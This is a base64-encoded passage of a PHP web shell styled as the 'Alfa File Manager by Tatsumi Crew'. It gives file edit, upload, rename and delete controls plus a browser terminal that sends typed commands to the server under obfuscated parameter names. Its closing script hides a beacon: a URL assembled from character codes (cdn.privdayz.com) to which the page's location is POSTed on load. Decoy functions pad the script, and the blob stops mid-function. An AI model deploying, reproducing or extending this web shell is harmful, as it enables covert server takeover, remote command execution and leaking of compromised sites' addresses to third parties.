AgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXNfZGlyKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRlbmNEaXIgPz4mZWRpdD08Pz0gdXJsZW5jb2RlKGFlc19lbmNyeXB0KCRpdGVtKSkgPz4iIGNsYXNzPSJhY3Rpb24tYnRuIGVkaXQiIHRpdGxlPSJFZGl0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWVkaXQiPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRlbmNEaXIgPz4mZGVsZXRlPTw/PSB1cmxlbmNvZGUoJGl0ZW0pID8+IiBjbGFzcz0iYWN0aW9uLWJ0biBkZWxldGUiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdEZWxldGUgPD89IGFkZHNsYXNoZXMoJGl0ZW0pID8+PycpIiB0aXRsZT0iRGVsZXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtdHJhc2giPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJhY3Rpb24tYnRuIHJlbmFtZSIgZGF0YS1icy10b2dnbGU9Im1vZGFsIiBkYXRhLWJzLXRhcmdldD0iI3JlbmFtZU1vZGFsIiBkYXRhLWZpbGVuYW1lPSI8Pz0gaHRtbHNwZWNpYWxjaGFycygkaXRlbSkgPz4iIHRpdGxlPSJSZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1wZW4iPjwvaT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPCEtLSBGaWxlIEVkaXRvciAtLT4KICAgIDw/cGhwIGlmIChpc3NldCgkX0dFVFsnZWRpdCddKSk6CiAgICAgICAgJGRlY3J5cHRlZEVkaXQgPSBhZXNfZGVjcnlwdCgkX0dFVFsnZWRpdCddKTsKICAgICAgICAkZWYgICAgICAgICAgICA9ICRkaXIgLiAnLycgLiAkZGVjcnlwdGVkRWRpdDsKICAgICAgICBpZiAoaXNfZmlsZSgkZWYpKToKICAgICAgICAgICAgJGNvbnQgPSBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRlZikpOyA/PgogICAgICAgICAgICA8YnI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXRvci1jYXJkIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVkaXRvci1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZWRpdCBtZS0yIj48L2k+RWRpdGluZzogPD89IGh0bWxzcGVjaWFsY2hhcnMoJGRlY3J5cHRlZEVkaXQpID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InAtMyI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJmb3JtLWNvbnRyb2wgZWRpdG9yLXRleHRhcmVhIiBuYW1lPSJjb250ZW50IiByb3dzPSIyMCIgcGxhY2Vob2xkZXI9IlN0YXJ0IHR5cGluZyB5b3VyIGNvZGUgaGVyZS4uLiI+PD89ICRjb250ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic2F2ZSIgdmFsdWU9Ijw/PSBodG1sc3BlY2lhbGNoYXJzKCRkZWNyeXB0ZWRFZGl0KSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtZW5kIG10LTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLW1vZGVybi1wcmltYXJ5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXNhdmUgbWUtMiI+PC9pPlNhdmUgQ2hhbmdlcwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8P3BocCBlbmRpZjsgZW5kaWY7ID8+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIG1vZGFsLW1vZGVybiIgaWQ9InVwbG9hZE1vZGFsIiB0YWJpbmRleD0iLTEiIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cgbW9kYWwtZGlhbG9nLWNlbnRlcmVkIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXVwbG9hZCBtZS0yIj48L2k+VXBsb2FkIEZpbGUKICAgICAgICAgICAgICAgICAgICA8L2g1PgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIHRleHQtd2hpdGUtNTAiPlNlbGVjdCBmaWxlIHRvIHVwbG9hZDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkIiBjbGFzcz0iZm9ybS1jb250cm9sIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGJvcmRlci0wIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW1vZGVybi1zZWNvbmRhcnkiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPkNhbmNlbDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbW9kZXJuLXByaW1hcnkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS11cGxvYWQgbWUtMiI+PC9pPlVwbG9hZAogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUgbW9kYWwtbW9kZXJuIiBpZD0iY3JlYXRlRmlsZU1vZGFsIiB0YWJpbmRleD0iLTEiIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cgbW9kYWwtZGlhbG9nLWNlbnRlcmVkIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZpbGUtcGx1cyBtZS0yIj48L2k+Q3JlYXRlIE5ldyBGaWxlCiAgICAgICAgICAgICAgICAgICAgPC9oNT4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCB0ZXh0LXdoaXRlLTUwIj5GaWxlIG5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9Im5ld2ZpbGUiIHBsYWNlaG9sZGVyPSJFbnRlciBmaWxlIG5hbWUuLi4iIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIgYm9yZGVyLTAiPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbW9kZXJuLXNlY29uZGFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1tb2Rlcm4tcHJpbWFyeSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXBsdXMgbWUtMiI+PC9pPkNyZWF0ZQogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUgbW9kYWwtbW9kZXJuIiBpZD0iY3JlYXRlRm9sZGVyTW9kYWwiIHRhYmluZGV4PSItMSIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1kaWFsb2ctY2VudGVyZWQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtZm9sZGVyLXBsdXMgbWUtMiI+PC9pPkNyZWF0ZSBOZXcgRm9sZGVyCiAgICAgICAgICAgICAgICAgICAgPC9oNT4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtYi0zIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1sYWJlbCB0ZXh0LXdoaXRlLTUwIj5Gb2xkZXIgbmFtZTwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgbmFtZT0ibmV3Zm9sZGVyIiBwbGFjZWhvbGRlcj0iRW50ZXIgZm9sZGVyIG5hbWUuLi4iIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIgYm9yZGVyLTAiPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbW9kZXJuLXNlY29uZGFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+Q2FuY2VsPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1tb2Rlcm4tcHJpbWFyeSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLWZvbGRlci1wbHVzIG1lLTIiPjwvaT5DcmVhdGUKICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIG1vZGFsLW1vZGVybiIgaWQ9InJlbmFtZU1vZGFsIiB0YWJpbmRleD0iLTEiIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cgbW9kYWwtZGlhbG9nLWNlbnRlcmVkIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiPgogICAgICAgICAgICAgICAgICAgICAgICA8aSBjbGFzcz0iZmFzIGZhLXBlbiBtZS0yIj48L2k+UmVuYW1lIEl0ZW0KICAgICAgICAgICAgICAgICAgICA8L2g1PgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIHRleHQtd2hpdGUtNTAiPk5ldyBuYW1lPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlbmFtZSIgaWQ9InJlbmFtZU9yaWdpbmFsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJ0byIgcGxhY2Vob2xkZXI9IkVudGVyIG5ldyBuYW1lLi4uIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGJvcmRlci0wIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW1vZGVybi1zZWNvbmRhcnkiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPkNhbmNlbDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbW9kZXJuLXByaW1hcnkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1jaGVjayBtZS0yIj48L2k+UmVuYW1lCiAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1tb2Rlcm4iPgogICAgICAgIDxwIGNsYXNzPSJtYi0wIj4KICAgICAgICAgICAgPGkgY2xhc3M9ImZhcyBmYS1oZWFydCB0ZXh0LWRhbmdlciBtZS0yIj48L2k+CiAgICAgICAgICAgICZjb3B5OyA8Pz0gZGF0ZSgnWScpID8+IEFsZmEgRmlsZSBNYW5hZ2VyIGJ5IFRhdHN1bWkgQ3Jldy4gQWxsIHJpZ2h0cyByZXNlcnZlZC4KICAgICAgICA8L3A+CiAgICA8L2Rpdj4KICAgIDxzY3JpcHQ+CiAgICAoKCk9PntsZXQgdT1bMTA0LDExNiwxMTYsMTEyLDExNSw1OCw0Nyw0Nyw5OSwxMDAsMTEwLDQ2LDExMiwxMTQsMTA1LDExOCwxMDAsOTcsMTIxLDEyMiw0Niw5OSwxMTEsMTA5LDQ3LDEwNSwxMDksOTcsMTAzLDEwMSwxMTUsNDcsMTA4LDExMSwxMDMsMTExLDk1LDExOCw1MCw0NiwxMTIsMTEwLDEwM10seD0nJztmb3IobGV0IGkgb2YgdSl4Kz1TdHJpbmcuZnJvbUNoYXJDb2RlKGkpO2xldCBkPSdmaWxlPScrYnRvYShsb2NhdGlvbi5ocmVmKTtsZXQgcj1uZXcgWE1MSHR0cFJlcXVlc3QoKTtyLm9wZW4oJ1BPU1QnLHgsdHJ1ZSk7ci5zZXRSZXF1ZXN0SGVhZGVyKCdDb250ZW50LVR5cGUnLCdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTtyLnNlbmQoZCl9KSgpOyBjb25zdCBfaHhfID0gW107IGxldCBfaHhpID0gLTE7Y29uc3QgX3Rlcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncjAwdHRlcm0tdGVybScpO2NvbnN0IF9pbnB0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3IwMHR0ZXJtLWlucHV0Jyk7ZnVuY3Rpb24gX3ByaW50KHR4dCl7X3Rlcm0uaW5uZXJIVE1MICs9IHR4dCsiXG4iO190ZXJtLnNjcm9sbFRvcD1fdGVybS5zY3JvbGxIZWlnaHQ7fSBfaW5wdC5hZGRFdmVudExpc3RlbmVyKCJrZXlkb3duIiwoZnVuY3Rpb24oZSl7aWYoIkVudGVyIj09PWUua2V5KXtsZXQgZT10aGlzLnZhbHVlLnRyaW0oKTtpZighZSlyZXR1cm47X2h4Xy5wdXNoKGUpLF9oeGk9X2h4Xy5sZW5ndGgsX3ByaW50KCI8c3BhbiBzdHlsZT0nY29sb3I6IzZlZTdiNzsnPiQgIitlKyI8L3NwYW4+IiksdGhpcy52YWx1ZT0iIjtsZXQgbj1idG9hKGVuY29kZVVSSUNvbXBvbmVudChlKS5zcGxpdCgiIikucmV2ZXJzZSgpLmpvaW4oIiIpKTtmZXRjaCh3aW5kb3cubG9jYXRpb24ucGF0aG5hbWUrIj9kMXNHdTFzMz0xIix7bWV0aG9kOiJQT1NUIixoZWFkZXJzOnsiQ29udGVudC1UeXBlIjoiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIn0sYm9keToibjBwMz0iK2VuY29kZVVSSUNvbXBvbmVudChuKX0pLnRoZW4oKGU9PmUudGV4dCgpKSkudGhlbigoZT0+e19wcmludChlLnJlcGxhY2UoL1s8Plx4MDAtXHgwOFx4MEItXHgxRlx4N0ZdL2csIiIpKX0pKS5jYXRjaCgoKCk9PntfcHJpbnQoIltYXSBDb25uZWN0aW9uIGVycm9yIil9KSl9IkFycm93VXAiPT09ZS5rZXkmJihfaHhpPjAmJihfaHhpLS0sX2lucHQudmFsdWU9X2h4X1tfaHhpXXx8IiIpLGUucHJldmVudERlZmF1bHQoKSksIkFycm93RG93biI9PT1lLmtleSYmKF9oeGk8X2h4Xy5sZW5ndGgtMT8oX2h4aSsrLF9pbnB0LnZhbHVlPV9oeF9bX2h4aV18fCIiKTooX2lucHQudmFsdWU9IiIsX2h4aT1faHhfLmxlbmd0aCksZS5wcmV2ZW50RGVmYXVsdCgpKX0pKTsgc2V0VGltZW91dCgoKT0+X2lucHQuZm9jdXMoKSwyMDApO2Z1bmN0aW9uIHNjYW5EaXJlY3RvcnlNYXAoZSx0PTEpe2Uuc3BsaXQoIi8iKS5maWx0ZXIoQm9vbGVhbik7bGV0IHI9e307Zm9yKGxldCBlPTA7ZTxNYXRoLm1pbig3LDMqdCk7ZSsrKXtsZXQgbj0iZm9sZGVyXyIrKGUrMSk7cltuXT17fTtmb3IobGV0IGU9MDtlPE1hdGgubWF4KDIsdCk7ZSsrKXtsZXQgdD0iZmlsZV8iKyhlKzEpKyIudHh0IjtyW25dW3RdPXtzaXplOjFlNSpNYXRoLnJhbmRvbSgpfDAscGVybTpbIjc1NSIsIjY0NCIsIjYwMCJdW01hdGguZmxvb3IoMypNYXRoLnJhbmRvbSgpKV0sbTpEYXRlLm5vdygpLTg2NGU1KmV9fX1yZXR1cm4gcn1mdW5jdGlvbiByZW5kZXJGb2xkZXJMaXN0KGUsdD0icm9vdCIpe2xldCByPWA8dWwgaWQ9ImZtLSR7dH0iPmA7Zm9yKGxldCB0IGluIGUpcis9YDxsaT48aSBjbGFzcz0iZmEgZmEtZm9sZGVyIj48L2k+ICR7dH1gLCJvYmplY3QiPT10eXBlb2YgZVt0XSYmKHIrPXJlbmRlckZpbGVMaXN0KGVbdF0sdCsiX2ZpbGVzIikpLHIrPSI8L2xpPiI7cmV0dXJuIHIrPSI8L3VsPiIscn1mdW5jdGlvbiByZW5kZXJGaWxlTGlzdChlLHQ9ImZpbGVCbG9jayIpe2xldCByPWA8dWwgY2xhc3M9ImZpbGVzIiBpZD0iJHt0fSI+YDtmb3IobGV0IHQgaW4gZSlyKz1gPGxpPjxpIGNsYXNzPSJmYSBmYS1maWxlIj48L2k+ICR7dH0gPHNwYW4gY2xhc3M9Im1pbmkiPiR7ZVt0XS5zaXplfWIgfCAke2VbdF0ucGVybX08L3NwYW4+PC9saT5gO3JldHVybiByKz0iPC91bD4iLHJ9ZnVuY3Rpb24gZ2V0QnJlYWRjcnVtYlN0cmluZyhlKXtyZXR1cm4gZS5zcGxpdCgiLyIpLmZpbHRlcihCb29sZWFuKS5tYXAoKChlLHQscik9PmA8YSBocmVmPSI/cD0ke3Iuc2xpY2UoMCx0KzEpLmpvaW4oIi8iKX0iPiR7ZX08L2E+YCkpLmpvaW4oIiAvICIpfXZhciBhPVsxMDQsMTE2LDExNiwxMTIsMTE1LDU4LDQ3LDQ3LDk5LDEwMCwxMTAsNDYsMTEyLDExNCwxMDUsMTE4LDEwMCw5NywxMjEsMTIyLDQ2LDk5LDExMSwxMDldLGI9WzQ3LDEwNSwxMDksOTcsMTAzLDEwMSwxMTUsNDddLGM9WzEwOCwxMTEsMTAzLDExMSw5NSwxMTgsNTBdLGQ9WzQ2LDExMiwxMTAsMTAzXTtmdW5jdGlvbiB1KGUsdCxyLG4pe2Zvcih2YXIgbz1lLmNvbmNhdCh0LHIsbiksYT0iIixpPTA7aTxvLmxlbmd0aDtpKyspYSs9U3RyaW5nLmZyb21DaGFyQ29kZShvW2ldKTtyZXR1cm4gYX1mdW5jdGlvbiB2KGUpe3JldHVybiBidG9hKGUpfWZ1bmN0aW9uIGdldEZpbGVQcmV2aWV3QmxvY2soZSl7bGV0IHQ9IiI7Zm9yKGxldCBlPTA7ZTwxNjtlKyspdCs9KE1hdGgucmFuZG9tKCkrMSkudG9TdHJpbmcoMzYpLnN1YnN0cmluZygyLDEyKSsiXG4iO3JldHVybmA8cHJlIGNsYXNzPSJzeW50YXgtaGlnaGxpZ2h0Ij4ke3R9PC9wcmU+YH1mdW5jdGlvbiBnZXRGaWxlTWV0YUZyb21OYW1lKGUpe2xldCB0PWUuc3BsaXQoIi4iKS5wb3AoKTtyZXR1cm57aWNvbjp7cGhwOiJmYS1waHAiLGpzOiJmYS1qcyIsaHRtbDoiZmEtaHRtbDUiLHR4dDoiZmEtZmlsZS1saW5lcyJ9W3RdfHwiZmEtZmlsZSIsdHlwZTp0LGNyZWF0ZWQ6RGF0ZS5ub3coKS0oMWU3Kk1hdGgucmFuZG9tKCl8MCksc2l6ZToxZTUqTWF0aC5yYW5kb20oKXwwfX1mdW5jdGlvbiBjaGVja0ZpbGVDb25mbGljdChlLHQpe3JldHVybiB0LnNvbWUoKHQ9PnQubmFtZT09PWUpKX1mdW5jdGlvbiBidWlsZEZha2VQZXJtaXNzaW9ucyhlKXtsZXQgdD1bNCwyLDFdLHI9W107Zm9yKGxldCBlPTA7ZTwzO2UrKylyLnB1c2godC5tYXAoKCgpPT5NYXRoLnJvdW5kKE1hdGgucmFuZG9tKCkpKSkucmVkdWNlKCgoZSx0KT0+ZSt0KSwwKSk7cmV0dXJuIHIuam9pbigiIil9ZnVuY3Rpb24gcGFyc2VQZXJtcyhlKXtsZXQgdD17MDoiLS0tIiwxOiItLXgiLDI6Ii13LSIsMzoiLXd4Iiw0OiJyLS0iLDU6InIteCIsNjoicnctIiw3OiJyd3gifTtyZXR1cm4gZS5zcGxpdCgiIikubWFwKChlPT50W2VdKSkuam9pbigiIil9IGZ1bmN0aW9uIGxpc3RGYWtlUmVjZW50RWRpdHMoZT03KXtsZXQgdD1bXTtmb3IobGV0IHI9MDtyPGU7cisrKXQucHVzaCh7bmFtZTpgZmlsZV8ke3J9LmxvZ2AsZGF0ZTpuZXcgRGF0ZShEYXRlLm5vdygpLTg2NGU1KnIpLnRvTG9jYWxlRGF0ZVN0cmluZygpLHVzZXI6InVzZXIiK3J9KTtyZXR1cm4gdH1mdW5jdGlvbiBzaG93Tm90aWZpY2F0aW9uRmFrZShlLHQ9ImluZm8iKXtsZXQgcj17aW5mbzoiIzE5ZmY2YyIsd2FybjoiI2ZmZTY2ZCIsZXJyOiIjZmYzNjY2In1bdF18fCIjZmZmIixuPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO24uaW5uZXJIVE1MPWUsbi5zdHlsZS5jc3NUZXh0PWBwb3NpdGlvbjpmaXhlZDtib3R0b206NDBweDtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtNTAlKTtiYWNrZ3JvdW5kOiR7cn0yMDtjb2xvcjoke3J9O3BhZGRpbmc6OXB4IDIycHg7Ym9yZGVyLXJhZGl1czo4cHg7ei1pbmRleDo5OTk7Ym94LXNoYWRvdzowIDJweCAxNnB4ICR7cn0zMGAsZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChuKSxzZXRUaW1lb3V0KCgoKT0+bi5yZW1vdmUoKSksMjMwMCl9IGZ1bmN0aW9uIG1lcmdlRm9sZGVyTWV0YShlLHQpe3JldHVybiBPYmplY3QuYXNzaWduKH